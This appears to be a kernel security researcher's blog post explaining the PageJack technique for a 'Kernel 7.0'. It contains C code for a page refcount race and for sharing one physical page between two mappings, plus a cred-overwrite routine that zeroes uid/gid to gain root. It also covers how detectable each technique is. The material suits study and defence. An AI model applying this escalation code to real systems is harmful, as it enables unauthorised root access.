BLUE DRAGON SECURITY

bluedragonsec.com – antonius – w1sdom – indonesia – kernel security researcher

Part 6 . PageJack in Kernel 7.0

PTE-Level UAF — Control Physical Page Mapping from Userspace

01 PageJack vs Dirty Pagetable — Concept

Aspect	Dirty Pagetable	PageJack
Operation level	PMD/PTE entry content	struct page metadata
Initial primitive	Write to page used as PMD table	UAF on struct page (page refcount)
End goal	Map arbitrary phys addr to user VA	Two processes map same page — one has write access
Detection	PMD bits anomaly — detectable	More subtle — page sharing is normal in OS
Kernel 7 status	Still relevant, different primitive	Still relevant, struct page unchanged significantly

02 struct page in Kernel 7 — Relevant Fields

```
struct page {
    unsigned long  flags;          /* PageLocked, PageAnon, etc. */

    union {
        /* For anonymous/file-backed pages: */
        struct {
            struct list_head lru;   /* LRU list */
            struct address_space *mapping;
            pgoff_t       index;
            unsigned long private;
        };
        /* For slab pages: */
        struct {
            unsigned long      slab_kcache;
            void              *freelist;   /* kmalloc-N free objects (K6) */
            /* In K7: slab_sheaf pointer instead */
        };
    };

    atomic_t  _mapcount;   /* number of page-table mappings, minus one */
    atomic_t  _refcount;   /* page reference count */
};
```

The key to PageJack lies in _refcount and _mapcount. If both can be manipulated (via UAF or race), the kernel can be made to 'believe' a page is still safely mapped to two virtual addresses — one read-only, one writable.

03 Page Refcount Race — UAF Vector

```
/* Scenario: race on page_cache_get_speculative() */
/* or on get_page_unless_zero() */

/* Thread A: freeing a page (put_page) */
void put_page_fast(struct page *page) {
    if (put_page_testzero(page))  /* decrement, test if zero */
        __put_page(page);           /* free to buddy allocator */
}

/* Thread B: speculatively getting a reference */
bool get_page_speculative(struct page *page) {
    /* RACE: between the zero-test in Thread A and */
    /* refcount increment in Thread B              */
    return atomic_inc_not_zero(&page->_refcount);
    /* If Thread A decrements to zero concurrently → UAF */
}

/* Result: Thread B holds a reference to a freed page */
/* If buddy allocator reuses this page for a sensitive */
/* kernel structure, Thread B has a UAF handle to it   */
```

04 Exploit: Shared Physical Page Write

The core of PageJack: forcing two different mappings (one read-only, one writable) to the same physical page:

```
/* Step 1: Setup two mappings that should be separate */
void *ro_map = mmap(NULL, PAGE_SIZE, PROT_READ,
                    MAP_SHARED|MAP_ANONYMOUS, -1, 0);
void *rw_map = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
                    MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

/* Step 2: Via page refcount race — make both VMAs
 * point to the same physical page */

/* Step 3: rw_map now has write access to physical page
 * that ro_map is supposed to protect (read-only) */

/* Verification: write to rw_map, read from ro_map */
memset(rw_map, 0x41, PAGE_SIZE);
assert(((char*)ro_map)[0] == 0x41);  /* both point to same phys page */
```

Escalation to Kernel Write via rw_map

```
/* If rw_map is successfully shared to a kernel page (cred, task_struct): */

/* Scan rw_map for cred pattern */
unsigned int *scan = (unsigned int *)rw_map;
for (int i = 0; i < PAGE_SIZE/4; i++) {
    if (scan[i] == getuid() && scan[i+1] == getgid()) {
        printf("[*] Found cred at rw_map offset +%d\n", i*4);
        /* Zero out uid/gid/euid/egid */
        scan[i] = scan[i+1] = scan[i+2] = scan[i+3] = 0;
        printf("[*] cred overwritten — checking root...\n");
```

```
        system("id");
        break;
    }
}
```

05 K7 Adaptations: Barn and Page Allocator

In kernel 7, the paths related to the page allocator and slab have not significantly changed at the struct page level. However, there are some new considerations:

- Barn-managed pages: Pages used as slab slab_sheaf may pass through faster alloc/free cycles (barn reclaim), widening the race window for refcount manipulation.
- 5-level paging (LA57): Kernel 7 with CONFIG_X86_5LEVEL extends the VA space, but does not change the fundamental struct page mechanics.
- INIT_ON_FREE impact: If active, struct page fields are zeroed when returned to buddy — reduces info leaks but does not prevent race-based PageJack.

06 Post-Exploitation Technique Comparison in K7

Technique	Prerequisite	Reliability	Detection	K7 Status
Dirty Pagetable	Write to PMD table page	High	PMD anomaly scan	Relevant
PageJack	Page refcount race or UAF	Medium (timing)	rmap inconsistency	Relevant
BarnStick V1	OOB write to sheaf region	High (if primitive exists)	objects[] corruption	K7 NEW
cred direct overwrite	Arbitrary write to cred addr	Very High	uid check only	Relevant
SLUBStick	Timing oracle + partial write	N/A	N/A	Dead in K7